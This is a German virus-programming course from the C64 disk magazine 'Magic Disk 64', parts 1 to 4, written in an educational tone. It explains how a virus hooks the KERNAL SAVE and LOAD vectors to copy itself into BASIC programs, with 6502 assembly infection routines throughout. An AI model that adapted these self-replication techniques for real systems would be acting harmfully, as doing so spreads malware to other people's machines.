Magic Disk 64

home to index
               Hack-Meck                

Lange wurde er angekündigt - jetzt ist er endlich da: der Virusprogrammierkurs!
In den folgenden Ausgaben möchten wir Sie in der Rubrik Hack-Meck im Rahmen dieses Kurses in die Funktionsweise eines Virus einführen. Am Ende werden Sie in der Lage sein, sich einen eigenen Virus programmieren und die Anatomie eines jeden Exemplars untersuchen zu können, um so zum Beispiel einen Viruskiller zu einem beliebigen Virus schreiben zu können.
Doch nun gebe ich das Wort an unseren " Virenspezialisten" :

Ich möchte an dieser Stelle darauf hinweisen, daß dies ein überaus brisantes Thema ist, mit dem man nicht spaßen sollte, denn ein Virus ist ein eigenständiges Programm und bösartige Viren können verheerende Folgen haben, die nicht zuletzt auch den Programmierer selber treffen können!
Ich selbst bin bei der Programmierung auf meinen eigenen Virus hereingefallen, als er sich plötzlich vor meinen Assembler gehängt hatte, weil ich vergaß, daß er noch aktiviert war. Dieser Kurs ist nur zur Verständlichmachung eines Virus gedacht, nicht aber um Schaden anzurichten! Achten Sie also darauf, Ihren Virus

so zu programmieren, daß er den Benutzer vor eventuellem Datenverlust warnt. Unser Magic Disk Virus arbeitet nach demselben Prinzip. Sie haben sich mit Sicherheit auch schon einmal über den Verlust eines wichtigen Quellcodefiles geärgert, und: was Du nicht willst, daß man Dir tu, das füg' auch keinem andern zu . . .
Da Sie sich ja nun hoffentlich der Gefahr eines Virus bewußt sind, möchte ich nun endlich zur Ausführung schreiten.

Ich werde versuchen, den Kurs möglichst leichtverständlich zu halten, doch ist es unerläßlich, wenigstens den Assemblerbefehlssatz des C64 zu kennen. Denn ein Virus kann nur in Assembler geschrieben werden, da er ein Programm ist, das nahe am System arbeitet und somit nur Hand in Hand mit dem Betriebssystem des C64( bestehend aus reinem Assemblercode) wirklich effektiv wirksam ist.
Beginnen wir also Schritt für Schritt mit der Planung unseres Virus, den Sie am Ende in seiner endgültigen Version testen dürfen. In der nächsten Ausgabe wird er der Magic Disk 64 beigefügt sein.

Definieren wir zunächst erst einmal den Begriff " Virus" :
Wie mittlerweile ( nach dem BHP-Virus) überall bekannt sein dürfte, ist ein Virus ein kleines aber effektvolles Programm, das sich auf Diskette vermehrt, und zwar ganz still und leise, ohne daß der Benutzer direkt etwas davon spürt.
Das heißt im Klartext: wird ein System von einem Virus befallen, so versucht dieser ( so lange wie er aktiv ist) sich zu vermehren. Bei jeder sich bietenden Gelegenheit versucht er, sich auf einen Datenträger, sprich eine Diskette, zu kopieren. Somit ist die Chance größer,

daß ein " geheiltes" System wieder infiziert wird; nämlich einfach dadurch, daß ein infiziertes Programm gestartet wird.
Obendrein haben manche Viren auch noch zusätzliche Funktionen, die den Benutzer hin und wieder auf ihre Anwesenheit aufmerksam machen. Zum Beispiel kann es vorkommen, daß plötzlich ein kleiner Käfer über den Bildschirm krabbelt, daß der Cursor verrückt spielt oder Ähnliches.
Meistens sind Viren sogar so hartnäckig, daß man sie nur noch mit einem brutalen Abbruch der Stromzufuhr, sprich dem Ausschalten des Computers, stoppen kann.

Diese typischen Merkmale eines Virus wollen wir hier nochmal in einer Tabelle zur besseren Übersicht zusammentragen, denn diese Funktionen soll unser kleiner Freund später ja auch besitzen:
1)" Fortpflanzung" auf andere Disketten, um die Art zu erhalten.

2) Speicherresistenz, d.h. Schutz vor   
   RESET und RUN/STOP-RESTORE           

3) Kleiner Hinweis auf die eigene Existenz.

Beginnen wollen wir mit dem ersten und zugleich auch schwierigsten Punkt: die Artenerhaltung. Da dieses Thema allerdings sehr ausgedehnt ist, muß ich Sie leider hiermit auf die nächste Ausgabe der Magic Disk vertrösten, in der wir dann endlich zur Praxis übergehen und mit der Programmierung beginnen möchten.

         Virus-Programmierkurs          

Sicher haben Sie schon gespannt auf das Erscheinen der Augustausgabe von Magic Disk 64 gewartet. Denn in unserem Virus-Programmierkurs wird' s jetzt langsam ernst. Heute wollen wir uns - wie in der letzten Ausgabe besprochen - um die Artenerhaltung unseres Virus kümmern, damit er auch viele kräftige und gesunde Nachkommen haben wird!
An dieser Stelle sei noch erwähnt, daß sich auf der Magic Disk folgende Programme befinden, die alle mit diesem Kurs zusammenhängen:

" MD-VIRUS" ist ein infiziertes Gag-Pro- gramm, das zur Aktivierung des Virus dient. Der Syntax-Error am Programmende gehört so und ist kein Programmfehler!
" MDV-SOURCE" ist der Sourcecode (= Quellcode) im Hypra-Ass- Format zum Virus.
Falls Sie Hypra-Ass nicht besitzen, so hilft Ihnen sicherlich " MDV-SOURCE. ASC" weiter. Das ist der Source-Code als ASCII-File gespeichert.
Dieser kann ohne Probleme mit GET# von der Diskette gelesen und ausgedruckt werden.

Doch nun wollen wir ans " Eingemachte" gehen und uns mit der Programmierung selbst befassen.
Zuerst wollen wir uns überlegen, wann die Brunftzeit ( die Zeit, an der sich der Virus vermehrt) für unser kleines Tierchen am günstigsten ist. Da sticht der Vorgang des Diskettenzugriffs natürlich sofort ins Auge, denn dann ist es am unauffälligsten, da die Diskettenstation sowieso läuft. Und außerdem teilt uns der Programmierer bei einer solchen Aktion auch gleich mit, wie man ein zu infizierendes Programm beim Namen nennt.
Man muß also nicht noch aufwendig auf der Diskette nach Programmen und deren Namen suchen.

Gesagt - getan. Um dies zu verwirklichen, müssen wir prinzipiell nur den Speichervorgang an sich abfangen können.
Das heißt, unser Virus muß sich immer dann einschalten, wenn das Betriebssystem des C64 vom Benutzer dazu bewegt wird, Daten zum Floppy zu schicken.
Dieses Problem kann sehr einfach gelöst werden. Das Betriebssystem benutzt nämlich einen Vektor, der auf die eigentliche Save-Routine zeigt. Zur Erklärung:
Ein Vektor sind zwei Speicherzellen, deren Inhalt im Low-High- Format auf ein entsprechendes Unterprogramm zeigt. Vektoren können mit indirekten Sprüngen adressiert werden. Speichert man z. B. in

den Speicherzellen $1000 und $1001 die Werte $ af und $ c0, so wird bei dem Maschinensprachebefehl JMP ($1000) die Adresse $ c0 af angesprungen.
Der SAVE-Vektor steht in den Speicherzellen $0332 und $0333(= dezimal 818 und 819) . Bei jedem SAVE-Befehl wird indirekt über diesen Vektor gesprungen. Ein idealer Platz also für einen Virus, um in das Geschehen einzugreifen. Er muß nur bei seiner ( einmaligen) Initialisierung diesen Vektor auf eine eigene Routine " verbiegen" . Bis zum Ausschalten des Computers wird dann bei jedem SAVE-Befehl die eigene Routine angesprungen.

Zur Vervollständigung des Gesagten sei noch erwähnt, daß dieser Vektor eigentlich schon mitten in der SAVE-Routine angesprungen wird. Doch das ist für uns nur von Vorteil, da er genau dann aufgerufen wird, nachdem alle Voreinstellungen erledigt wurden, und wir diese deswegen nicht noch selbst erledigen müssen. Um diesen Vorgang genauer zu erläutern, muß ich Ihnen zunächst die SAVE-Routine etwas näher beschreiben:
Wie Sie ja vielleicht wissen, wird die SAVE-Routine des Betriebssystems mit dem Befehl JSR $ FFD8 aufgerufen. Vorher muß man aber noch einige Parameter wie Laufwerk, Programmname, Startund Endadresse etc. festlegen. Diese Parameter

werden folgendermaßen übergeben:
SETPAR setzt Geräteund Sekundäradresse SETNAM übergibt Programmnamen und - Länge Jetzt müssen Anfangsund Endadresse in zwei Speicherzellen in der Zeropage festgelegt werden. Am besten eignen sich die Adressen $ FB und $ FC, da sie vom Betriebssystem sonst nicht verwendet werden.
Nun den Zeiger auf die erste dieser Speicherzellen in den Akku laden, Endadresse des abzuspeichernden Bereichs in X und Y-Register laden und SAVE aufrufen.

Damit das verständlicher wird, folgt hier zunächst das Quellisting einer Maschinenspracheroutine, die den Speicherbereich von $0801 bis $11 AB unter dem Namen " DEMOSAVE" auf Diskette abspeichert:

10  -.ba $c000          ;Basisadresse   
20  -.eq save = $ffd8   ;Konstanten-    
30  -.eq setpar = $ffba ;definitionen   
40  -.eq setnam = $ffbd ;               
50  -;                                  
100 - lda #$01     ;Filenummer          
110 - ldx #$08     ;Geräteadresse       
120 - ldy #$01     ;Sekundäradresse     
130 - jsr setpar   ;Parameter setzen    
140 - lda #$08     ;Länge des Namens    
150 - ldx #<(name) ;Adresse low         
160 - ldy #|(name) ;Adresse high        
170 - jsr setnam   ;Namen setzen        
180 - ldx #$01     ;Anfangsadresse low  
190 - ldy #$08     ;Anfangsadresse high 
200 - stx $fb      ;in $fb und $fc      
210 - sty $fc      ;zwischenspeichern   
220 - lda #$fb     ;Zeiger auf Speicher 
230 - ldx #$ab     ;Endadresse low      
240 - ldy #$11     ;Endadresse high     
250 - jsr save     ;SAVE anspringen     
260 - rts          ;fertig!             
270 -;                                  
280 -name   .tx "demosave"              

Werfen wir nun einen kleinen Blick " hinter die Kulissen"- sprich ins Betriebssystem. Dabei beginnen wir an der Stelle, an der auch die SAVE-Routine beginnt, nämlich bei Adresse $ FFD8 . Hier ein kleiner Auszug, wie Sie ihn sich mit einem Disassembler bzw. Speichermonitor auch " live" ansehen können:
FFD8 JMP $ F5 DD Es wird also nur ins Innere des Systems weitergesprungen. Dort verfolgen wir das Betriebssyetem weiter:
F5 DD STX $ AE ; Low-Byte Endadresse speichern

F5DF  STY $AF    ;High-Byte Endadresse  
                  speichern             
F5E1  TAX        ;Zeiger auf Anfangs-   
                  adresse ins X-Register
F5E2  LDA $00,X  ;Low-Byte der Anfangs- 
                  adresse holen         
F5E4  STA $C1    ;und speichern         
F5E6  LDA $01,X  ;dasselbe mit dem      
F5E8  STA $C2    ;High-Byte             
F5EA  JMP ($0332);Save-Vektor           

Sie sehen, daß erst in der letzten Zeile auf die SAVE-Routine verzweigt wird. Die übrigen Zeilen sind nur dazu da, die Parameter für später zwischenzuspeichern.

Hier also ist der Punkt, an dem unser Virus eingreifen darf. Er sollte somit auch alle Funktionen übernehmen, die das Betriebssystem normalerweise ausführt, nur daß er sich zusätzlich auch noch mitspeichert. Um herauszufinden, was genau er da tun soll, verfolgen wir die normale Saveroutine weiter:
Einsprung über Vektor $0332/$0333 von $ F5 EA:
F5 ED LDA $ BA ; Geräteadresse laden F5 EF BNE $ F5 F4 ; wenn <|0 dann weiter F5 F1 JMP $ F713 ;" ILLEGAL DEVICE NUMBER ERROR" ausgeben F5 F4 CMP #$03 ; vergleiche mit Bild-

                 schirmcode             
F5F6  BEQ $F5F1 ;wenn ja, dann Fehler   
F5F8  BCC $F659 ;wenn <3, dann Sprung zu
                 Test auf RS232 oder    
                 Cassette               
F5FA  LDA #$61  ;Sekundäradresse        
F5FC  STA $B9   ;zwischenspeichern      
F5FE  LDY $B7   ;Filenamenlänge holen   
F600  BNE $F605 ;|0, dann weiter        
F602  JMP $F710 ;"MISSING FILE NAME     
                 ERROR" ausgeben        
F605  JSR $F3D5 ;Filename auf IEC-Bus   
F608  JSR $F68F ;"SAVING" ausgeben      
F60B  LDA $BA   ;Geräteadresse laden    
F60D  JSR $ED0C ;und LISTEN senden      
F610  LDA $B9   ;Sekundäradresse holen  
F612  JSR $EDB9 ;und für LISTEN senden  

F615 LDY #$00 ; Zähler auf 0 setzen F617 JSR $ FB8 E ; Startadresse nach $ AC/$ AD kopieren F61 A LDA $ AC ; Startadr.- Low laden F61 C JSR $ EDDD ; und senden F61 F LDA $ AD ; Startadr.- High laden F621 JSR $ EDDD ; und senden Ab hier ( also ab $ F624) folgt noch eine kleine Routine, die jedes Byte bis zur Endadresse durchgeht, mit der Routine bei $ EDDD an die Floppy sendet und anschließend das File wieder schließt und zurückspringt.

Wie Sie sehen, ist der erste Teil nur dazu da, die Geräteadresse zu überprüfen und die entsprechenden Fehlermeldungen auszugeben. Anschließend kommt erst der Anfang der eigentlichen Saveroutine.
Hier wird dann das " saving" ausgegeben und der Floppykanal geöffnet. Bis zur Adresse $ F617 alles Dinge, die für uns unwichtig sind, und die wir auch einfach in unserem Virus übernehmen werden, damit er auch voll kompatibel zum Betriebssystem ist.
Erst ab $ F61 A wird es für uns interessant. Hier werden nämlich Lowund Highbyte der Anfangsadresse des zu savenden Bereichs an die Floppy geschickt, damit

die Loadroutine später weiß, wohin sie das eingeladene Programm legen soll.
Dieser Teil ist deshalb so wichtig für uns, weil wir unseren Virus grundsätzlich nur vor Programme kopieren lassen wollen, die an den normalen Basicstart ( also $0801) geladen werden, da man hier davon ausgehen kann, daß das entsprechende Programm mit RUN gestartet werden muß. Würde sich der Virus auch vor Maschinenprogramme kopieren, die beispielsweise bei $ C000 anfangen, dann könnte das verheerende Folgen haben, da er selbst ja ein mit RUN startbares Programm ist und man ihn nicht einfach mit einem SYS starten kann.

Also müssen wir an dieser Stelle überprüfen, an welcher Stelle sich das zu savende Programm befindet. Ist das nicht $0801, so hält sich unser Virus schön brav im Hintergrund und tut gar nichts.
Ist es aber ein Programm, das bei $0801 beginnt, so soll er sich mitkopieren.
Also bauen wir an dieser Stelle noch ein paar Vergleichsbefehle ein:

      LDA $AC   ;Lo-Byte Anfangsadresse 
      CMP #01   ;= $01?                 
      BEQ LAB1  ;Ja, dann Byte senden   
      LDY #$01  ;Flag setzen            
LAB1  JSR $EDDD ;Lo-Byte senden         
      LDA $AD   ;Hi-Byte Anfangsadresse 
      CMP #$08  ;= $08?                 
      BEQ LAB2  ;Ja, dann Byte senden   
      LDY #$01  ;Flag setzen            
LAB2  JSR $EDDD ;Hi-Byte senden         
      CPY #$01  ;Flag gesetzt?          
      BNE OKAY  ;nein, also vermehren!  
      LDY #$00  ;Ja, Y zurücksetzen     
      JMP $F624 ;normal weitersaven     

Hier die genaue Funktionsweise: Das Y-Registerwurde bei $ F615 ja mit 00 geladen. Sollte jetzt bei einem Vergleich ein Wert ungleich dem verglichenem Wert sein, so wird das Y-Register mit dem Wert 01 beschrieben und erst dann das Byte gesendet. In der Folge wird dann verglichen, ob das Y-Register noch 0 ist. Ist das der Fall, so darf sich der

Virus kopieren. Ansonsten verzweigt das Programm in die normale Saveroutine.
In dieser Form konnten wir die Assemblerbefehle bisher aus dem Betriebssystem übernehmen. Jetzt müssen wir auch einmal etwas eigenes leisten, nämlich eine Routine schreiben, die den Virus an die Floppy sendet. Bis jetzt sind der Floppykanal geöffnet und die Startadresse übergeben. Normalerweise würde jetzt das zu savende Programm kommen, doch das soll ja gerade nicht der Fall sein. Wir müssen zuerst den Virus an die Floppy senden und dann das eigentliche Programm. Dieses Problem lösen wir folgendermaßen:

OKAY  LDA #<(DATA) ;Lo-Anfangsadresse   
      STA $FB      ;des Virus setzen    
      LDA #|(DATA) ;dasselbe mit dem    
      STA $FC      ;Highbyte            
      LDA #<(ENDE) ;Lo-Endadresse       
      STA $F9      ;setzen              
      LDA #|(ENDE) ;dasselbe mit dem    
      STA $FA      ;Highbyte            
      LDY #$00     ;Zähler löschen      
LOOP  LDA ($FB),Y  ;Zeichen laden       
      JSR $EDDD    ;und senden          
      JSR INCCOUNT ;Zähler um 1 erhöhen 
      BCC LOOP     ;Weiter, wenn noch   
                    nicht Endadresse    
      JSR SAVECONT ;Wenn doch, dann     
                    Programm saven      

Zur Dokumentation: Am Anfang setzen wir Startund Endadresse. Die Endadresse hinterlegen wir in $ F9/$ FA, da die INCCOUNT-Routine diese Werte zum Vergleichen braucht. Diese Routine steht in unserem Source-Listing übrigens ab Zeile 8210 und soll an anderer Stelle näher erläutert werden. Soviel sei aber schon hier gesagt:
Die Routine erhöht den Zeiger in $ FB/$ FC und vergleicht ihn mit der Endadresse, die wir ja in $ F9/$ FA abgelegt haben. Sind beide Adressen gleich, so setzt sie das Carryflag, womit die Abfrage nach JSR INCCOUNT zu erklären ist.
Ist das Carryflag gelöscht, so ist das

Ende noch nicht erreicht und die Schleife wird wiederholt. Im Anschluß wird dann wieder die normale Saveroutine des Betriebssystems angesprungen, um das eigentliche Programm abzuspeichern. In der Konstanten SAVECONT ist die Zahl bzw. Adresse $ F624 gespeichert.
Hiermit sind wir am Ende des zweiten Teils des Virusprogrammierkurses angelangt. Die oben beschriebene Saveroutine finden Sie ab Zeile 2220 im Sourcelisting, allerdings mit zwei kleinen Abweichungen. Die eine hat mit der Vermehrung beim Laden zu tun, die wir nächsten Monat besprechen wollen. Und die

andere ist für den kleinen Gag zuständig, mit dem der Virus auf sich aufmerksam machen soll.
Bis zum nächsten Teil bleibt uns nur noch, Ihnen viel Spaß in Ihrer Aktivität als Virologe zu wünschen.

           Viruskurs, 3.Teil            

Endlich geht es weiter. Der 3 . Teil unseres Viruskurses liegt vor Ihnen!
Heute geht es um die Vermehrung beim Laden, die sich von der beim Saven, wie wir sie ja letzten Monat besprochen haben, nur geringfügig unterscheidet.
Wie gesagt kann sich unser kleiner Freund mittlerweile auch schon vermehren.
Dies tut er, indem er sich sozusagen über einen Vektor in die Saveroutine des Betriebssystems ' einklinkt' und diese steuert.
Genau wie bei einem richtigen, biologischen Virus, greift er in die DNA ( Datenstruktur einer Zelle, in der alle

Informationen über den Körper, zu dem die Zelle gehört, gespeichert sind) seines Rechners ( also dem Betriebssystem) ein, und ändert sie so ab, daß sie seiner Fortpflanzung dient.
Der Trick dabei ist, daß er bei seinem ' Erwachen', sprich seinem Aufruf, einen Vektor, der auf die Saveroutine zeigt, auf seine eigene Saveroutine verbiegt.
Dieser Vektor war für die Saveroutine der Vektor bei $0332/$0333 .
Für die Loadroutine ist dieser Vektor bei $0330/$0331 . Und auch über diesen Vektor wird unser Virus aktiv, das heißt, er erwacht ebenfalls, wenn man

ein Programm laden will, und auch hier muß er, wie beim Saven auch, alle Arbeit allein tun, d. h. wir müssen uns zuerst einmal die Struktur der Loadroutine ansehen, um den Virus auch die richtigen Anweisungen geben zu können.
Nun, wie wir ja wissen, hat die Loadroutine auch ihren Platz im Betriebssystem, nämlich ab Adresse $ FFD5 . Ab dieser Adresse folgt nun ein Memory-Dump, so wie wir das auch bei der Saveroutine praktiziert haben:
FFD5 JMP $ F49 E Auch hier wird einfach nur in das ' In-

nere' des Betriebssystemroms hineingesprungen. Dies ist übrigens eine Einrichtung, die Commodore bei allen ' kleinen' Homecomputern eingeführt hat.
Es handelt sich dabei um eine Sprungtabelle am Ende des Betriebssystems, in der Routinen angesprungen werden, die auf allen Rechnern dieselbe Funktion erfüllen, aber bei jedem Rechner an einer anderen Stelle stehen.
So kann man mit dem selben JMP-Befehl z. B. auch die LOAD-Routine des C16 oder des VC20 anspringen, da dann ab der Adresse $ FFD5 auf die entsprechende Routine des Rechners gesprungen wird.

Dies hat man getan, um Programme teilweise kompatibel zu machen, somit ist das Umschreiben von Assemblerroutinen einfacher ( soweit die Hardware dies erlaubt), da man nicht die einzelnen Sprungadressen verändern muß.
Nun aber weiter bei unserem Virus, werfen wir doch jetzt einmal einen Blick nach $ F49 E:

f49e   stx $c3     ;Startadresse        
f4a0   sty $c4     ;merken              
f4a2   jmp ($0330) ;jmp $f4a5           

Sie sehen, auch hier eine Parameterzwischenspeicherung, bevor über den Vektor

auf die Loadroutine gesprungen wird.
Da sich in dem Vektor normalerweise die Werte $ A5 und $ F4( in $0330 und $0331) befinden, wird hier auch auf Adresse $ F4 A5 gesprungen. Die Befehle ab hier sollten also auch von unserem Virus ausgeführt werden:

f4a5  sta $93   ;LOAD/VERIFY-Flag merken
f4a7  lda #$00  ;Status                 
f4a9  sta $90   ;löschen                
f4ab  lda $ba   ;Geräteadresse laden    
f4ad  bne $f4b2 ;ungleich 0, also weiter
f4af  jmp $f713 ;'ILLIGAL DEVICE NUMBER'
                ;ausgeben               
f4b2  cmp #$03  ;vergleiche mit Code    
                ;für Bildschirm         

f4 b4 beq $ f4 af ; Ja, dann Fehler!
feb6 bcc $ f533 ; kleiner 3, dann vom ; Band *********** Ab hier IEC-Load ***********

f4b8  ldy $b7   ;Länge des Filenamens   
                ;laden                  
f4ba  bne $f4bf ;ungleich 0, dann ok.   
f4bc  jmp $f710 ;'MISSING FILENAME'     
                ;ausgeben               
f4bf  ldx $b9   ;Sekundäradresse laden  
f4c1  jsr $f5af ;'SEARCHING FOR' und    
                ;Filename ausgeben      
f4c4  lda #$60  ;Sekundäradresse 0      
f4c6  sta $b9   ;laden und merken       
f4c8  jsr $f3d5 ;File auf IEC-Bus       
                ;öffnen                 

f4 cb lda $ ba ; Gerätenummer laden f4 cd jsr $ ed09 ; und TALK senden f4 d0 lda $ b9 ; Sekundäradresse laden f4 d2 jsr $ edc7 ; und senden f4 d5 jsr $ ee13 ; Byte vom IEC-Bus holen f4 d8 sta $ ae ; als Startadresse-LO ; speichern An dieser Stelle ist es wichtig, daß unser Virus sich wieder einschaltet. Er muß nämlich nun wieder testen, ob es sich hierbei um ein File handelt, daß ab $0801 geladen wird.
Sie errinnern sich - wir hatten ja vor, den Virus so zu schreiben, daß er keinerlei Daten zerstören kann. Dies könnte er tun, wenn er ein File infiziert, das

nicht ab $0801 geladen wird.
Da er ja mit RUN gestartet werden muß, und bei Files, die nicht an diese Adresse geladen werden, mit ziemlicher Wahrscheinlichkeit damit gerechnet werden kann, daß sie auch nicht mit RUN gestartet werden, sondern meist Maschinenprogramme sind, die mit SYS-Befehlen aufgerufen werden.
Das obige Listing entspricht nun bis jetzt haargenau unserem Quellcodelisting ab Zeile 1150-1480( diese Befehle ändern sich ja nicht, trotzdem muß sie der Virus ausführen, also übernehmen wir sie einfach) . Nun folgen mehrere Befehle, durch die der Virus testet, ob das

momentan zu ladende File bei $0801 beginnt:

1400 - cmp #01      ;vergleiche LO-Byte-
                    ;Startadr. mit 01   
1410 - bne cbmload1 ;ungleich, dann mit 
                    ;Betriebssystem     
                    ;normal weiterladen 

Hier wird nun verglichen, ob das LO-Byte der Anfangsadress ($0801) übereinstimmt.
Ist dies nicht der Fall, so wird einfach weiterverzweigt auf einen JMP $ f4 da, dieser Befehl steht im Sourcecode in Zeile 1580 .
Nun weiter im Listing, das ab nun wieder ein kleines Stück des Betriebssystems

enthält:
1420- :

1430 - lda $90       ;Status laden      
1440 - lsr           ;Bit 1 ins Carry   
1450 - lsr           ;schieben          
1460 - bcs loaderror ;falls gesetzt,    
                     ;dann Timeout      
                     ;(Ladefehler)      
1470 - jsr $ee13     ;Startadresse-HI   
1480 - sta $af       ;holen und merken  

Eigentlich nur ein kleiner Errorcheck, also ob beim Diskzugriff nicht doch ein Busfehler aufgetaucht ist. Die Verzweigung auf das Label LOADERROR ist eine Verzweigung auf ein JMP $ F704 . Diese

Routine gibt schlicht und einfach ein ' FILE NOT FOUND' aus.
Der Sprungbefehl steht im Quellcodelisting in Zeile 1560 .
Solche Branch-Verzweigungen auf Sprungbefehle sind übrigens unbedingt notwendig, da bei Branch-Verzweigungen grundsätzlich nur um 128 Bytes jeweils in den vorangehenden, oder in den nachfolgenden Speicher gesprungen werden kann.
Ab Zeile 1470 haben wir nun wieder die Befehlssequenz, die ein Byte holt und es als Startadresse-HI zwischenspeichert.
Hier nun also wieder unsere gewohnte Vergleichssequenz, ob also, nachdem das LO-Byte mit $0801 übereinstimmte, dies auch bei dem HI-Byte zutrifft ( hätte das

LO-Byte nicht gestimmt, dann würde jetzt sowieso schon die LOAD-Routine im Betriebssystem weiterarbeiten. . .) .

1500 -  cmp #08      ;vergleiche mit 8  
1510 -  bne cbmload2 ; wenn nein, dann  
                     ;weiter im         
                     ;Betriebssystem    
1520 -  jsr $f4e5    ;springe auf rest- 
                     ;liche Loadroutine 
1530 -  bcc inftest  ;Wenn kein Fehler, 
                     ;dann weiter,      
1540 -  rts          ;andernfalls Ende  
1550 -;******************************** 
1560 -loaderror jmp $f704               
1570 -xf533     jmp $f533               
1580 -cbmload1  jmp $f4da               
1590 -cbmload2  jmp $f4e5               
1600 -;******************************** 

Nach unserem Vergleich wird auf die restliche Loadroutine als Unterroutine ( JSR) gesprungen, um das File ganz schlicht und einfach von Disk zu laden.
Wenn aus der Loadroutine zurückgekehrt wurde, geht es weiter mit einem Test, ob während des Ladens ein Fehler aufgetreten ist ( die Loadroutine gibt ein gesetztes Carrybit zurück, sollte ein Fehler aufgetreten sein) .
Wenn ein Fehler aufgetreten ist, dann wird einfach wieder zurückgesprungen, und der Virus bleibt friedlich.
Ist kein Fehler aufgetreten, wird zur

nächsten Routine verzweigt.
Sie heißt INFTEST und beginnt ab Zeile 1610 .
Das, was nun weiter geschehen wird, wollen wir in der nächsten Ausgabe besprechen.
Der weitere Verlauf ist zwar relativ einfach zu erläutern, doch muß ich Ihnen noch einige Hinweise auf ein Routine am Anfang der Loadroutine geben.
Ich verabschiede mich nun also bis zum nächsten Monat und wünsche weiterhin ein ' Allzeit, gut Hack!'

                 Virenprogrammierkurs                
                 

Nach einem Sommermonat langen Wartens ist er nun endlich da: Der 4 . Teil des Virenprogrammierkurses!
Heute geht es wieder um das komplexe Thema der Fortpflanzung beim Laden.
Wie schon im letzten Teil erwähnt fehlt uns nur noch der Rest der LOAD-Vermehrung und noch eine kleine Routine, die am Anfang der Virus-Load- Routine steht.
Und um genau diese Routine geht es heute.
Sie erinnern sich: Wir hatten gesagt, daß wir alle Befehle aus dem Betriebssystem übernehmen wollen, so daß die ganz normale LOAD-Routine ausgeführt wird, mit dem Unterschied, daß sich unser Virus dann hinzuschalten kann, wann ER möchte! Dies muß er schon gleich am Anfang tun, nämlich dort, wo über den Vektor in die LOAD-Routine eingesprungen wird, und zwar, um sich den Filenamen des Programms zu merken, daß geladen werden soll. Dieser wird normalerweise ja schon von Basic irgendwo im Speicher abgelegt.

Anschließend übergibt BASIC der LOAD-Routine die Adresse und Länge des Filenamens mit Hilfe der SETNAM-Routine. Diese steht im Betriebssystem bei $ FFBD und wird folgendermaßen aufgerufen:
X-Register: LO-Byte der Adresse des Filenamens Y-Register: HI-Byte der Adresse des Filenamens Akku : Länge des Filenamens Zum besseren Verständnis hier ein Beispiel:

8000  LDA #$04                                       
8002  LDX #$0A                                       
8004  LDY #$80                                       
8006  JSR $FFBD                                      
8009  RTS                                            
800A  .TX "NAME"                                     

Es werden also die Adresse des Filenamens ( hier:
$800 A) und die Länge des Filenamens ( hier 4) übergeben.

Die Routine SETNAM macht nun nichts anderes, als diese Werte, die ja nachher beim Laden wichtig sind, in drei Speicherzellen in der Zeropage zwischenzuspeichern. Diese Speicherzellen sind $ BB und $ BC für die Namensparameter. In Speicherzelle $ B7 wird die Länge des Namens zwischengespeichert. Leider bleiben diese Werte dort nicht bis in alle Ewigkeiten stehen.
Sie gehen im Laufe der LOAD-Routine verloren, da diese Speicherzellen noch anderweitig verwendet werden. Der Filename z. B. wird vom Betriebssystem an das Ende des normalen Basic-Arbeitsspeichers gelegt. Und dort ist er leider nicht genug geschützt. Ein langes Programm überschreibt ihn einfach beim Laden. Wir müssen uns diese Werte und den Filenamen also " merken", bevor wir die LOAD-Routine auf diese Bereiche loslassen.
Und genau das tut unsere kleine Routine von Zeile 1020 bis 1130 . Wie immer folgt nun eine kleine Dokumentation, die Ihnen die Funktion der Routine erläutern soll:

1020 -LOAD   PHA               ;Akku retten          
1030 -       LDA FILELO        ;LO-Adresse des       
1040 -       STA $FB           ;Namens setzen        
1050 -       LDA FILEHI        ;HI-Adresse des       
1060 -       STA $FC           ;Namens setzen        
1070 -       LDY FILELENG      ;Länge des Namens     
1080 -       STY LENGNAM       ;setzen               
1090 -LOOP2  LDA ($FB),Y       ;Name kopieren        
1100 -       STA NAMEBUFF+2,Y                        
1110 -       DEY               ;Zähler vermindern    
1120 -       BPL LOOP2         ;Fertig?              
1130 -       PLA               ;Akku zurückholen     

In Zeile 1020 wird erst einmal der Akku auf den Stapel geschoben, da wir seinen Inhalt später wieder brauchen. Um dies verständlich zu machen, muß man zuerst einmal wissen, welche Parameter die LOAD-Routine beim Aufruf benötigt.
Ähnlich wie bei der SAVE-Routine müssen der LOAD-Rou- tine zuerst Filename, Filenummer, Geräteund Sekundäradresse des zu ladenden Files übergeben werden.

Dies geschieht, wie schon bei der SAVE-Routine, durch die Betriebssystemroutinen SETPAR ($ FFBA) und SETNAM ($ FFBD), welche wir ja schon beschrieben hatten. Anschließend kann erst die LOAD-Routine aufgerufen werden, und zwar mit den folgenden Parametern:
Xund Y-Register enthalten die Startadresse des Programms, das geladen werden soll.
Der Akku dient als LOAD/ VERIFY-Flag.
Wie wir ja vom letzten Teil des Kurses noch wissen, werden die Werte aus X und Y schon von der " Vorroutine" des Betriebssystems bei $ F49 E zwischengespeichert, so daß deren Inhalt unwichtig wird und wir somit diese Register verwenden dürfen. Nur im Akku steht noch eine Information, die ebenfalls nicht verloren gehen darf, aber erst später vom Betriebssystem zwischengespeichert wird. Im Akku steht nämlich eine Information, die dem Betriebssystem sagt, ob ein LOAD oder nur ein VERIFY erfolgen soll.

Steht im Akku eine 0, so wird ein Programm ordnungsgemäß geladen. Bei einer 1 allerdings wird nur das Programm auf der Diskette mit dem derzeitigen Speicherinhalt verglichen, eben die VERIFY-Funktion ausgeführt. Logischerweise müssen wir also den Akku erst einmal auf den Speicher retten.
Weiter nun mit unserer Routine ab Zeile 1020 :
Nachdem nun der Akku endlich benutzbar wurde, werden als Erstes die Zwischenspeicherbytes der Adresse des Filenamens in die Adressen $ FB und $ FC umkopiert.
Diese beiden Adressen befinden sich, wie Sie ja sehen ( es werden nur 8 Bit benutzt), auch in der Zeropage.
Sie sind zusammen mit den zwei folgenden Bytes $ FD und $ FE eine der Ausnahmen, die nicht vom Betriebssystem benutzt werden, sondern dem Assemblerprogrammierer zur freien Verfügung stehen.
Wir wollen mit Hilfe der indirektindizierten Adressierung den Filenamen auslesen.

Dies geschieht über einen Zeiger, den wir soeben durch unsere " Umkopiererei" ins Leben gerufen haben.
Vorher sichern wir aber zuerst noch die Länge des Filenamens in einem Variablenbyte ( LENGNAM) . Dieses wurde im Assemblerquelltext definiert, und zwar als 6 . Byte vor Beginn des Programms, ähnlich wie bei einigen weiteren Laufvariablen, die hauptsächlich von dem Gag-Programm am Ende verwendet werden. Übrigens:
Die Namen FILELO, FILEHI und FILELENG sind Konstanten und ebenfalls am Anfang des Quelltextes definiert.
Sie stehen für die Zwischenspeicherbytes des Filenamens.
